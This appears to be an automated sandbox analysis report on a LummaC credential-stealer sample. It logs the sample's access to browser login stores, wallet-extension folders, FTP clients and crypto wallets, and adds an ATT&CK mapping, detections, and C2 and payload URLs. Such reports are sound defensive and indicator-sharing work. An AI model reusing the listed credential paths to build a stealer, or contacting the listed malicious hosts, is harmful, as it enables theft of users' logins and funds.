Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT			Jump to behavior

Source: Yara match	File source: 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2203346203.000000000165F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2178633717.000000000165E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2206653921.0000000001665000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2202751223.000000000165E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2206639627.000000000165F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2206668406.0000000001668000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2155221118.000000000165E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5788, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5788, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	34 Virtualization/Sandbox Evasion	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	29%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/steam/random.exe$0	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/def.exeAppleWebKit/537.36	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/C	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apiA	100%	Avira URL Cloud	malware
https://cook-rain.sbs/g	100%	Avira URL Cloud	malware
https://cook-rain.sbs/om.	100%	Avira URL Cloud	malware
https://cook-rain.sbs/api8eGNei1kuTiEQW4l	100%	Avira URL Cloud	malware
https://cook-rain.sbs/3SozW	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apibK0a6	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	high
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	216.58.206.68	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_126.5.dr	false		high
http://185.215.113.16/off/def.exeAppleWebKit/537.36	file.exe, 00000000.00000002.2485888026.0000000000BFA000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe$0	file.exe, 00000000.00000002.2487135569.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://cook-rain.sbs/C	file.exe, 00000000.00000003.2203346203.000000000165F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178633717.000000000165E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202751223.000000000165E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_126.5.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/api8eGNei1kuTiEQW4l	file.exe, 00000000.00000003.2246636498.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2388311898.0000000005DCB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Youssef1313	chromecache_126.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_108.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://cook-rain.sbs/apiA	file.exe, 00000000.00000003.2202473444.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178498338.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178983232.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203286340.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178865913.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180921966.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_126.5.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_126.5.dr	false		high
https://cook-rain.sbs/g	file.exe, 00000000.00000003.2203346203.000000000165F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202751223.000000000165E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_126.5.dr, chromecache_127.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://github.com/gewarren	chromecache_126.5.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2180600142.0000000006060000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_126.5.dr	false		high
https://cook-rain.sbs/om.	file.exe, 00000000.00000003.2379134452.000000000166E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2388576594.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379231314.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_126.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_126.5.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://aka.ms/certhelp	chromecache_118.5.dr, chromecache_108.5.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.2487135569.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202473444.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203346203.000000000165F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178633717.000000000165E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2206993654.0000000001674000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202751223.000000000165E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2206625378.000000000166D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203286340.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2206894873.0000000001671000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155221118.000000000165E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_126.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_108.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2180600142.0000000006060000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_126.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_126.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_126.5.dr	false		high
http://crl.micro	file.exe, 00000000.00000003.2156655857.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apibK0a6	file.exe, 00000000.00000003.2178498338.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178983232.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178865913.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180921966.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_118.5.dr, chromecache_108.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	false		high
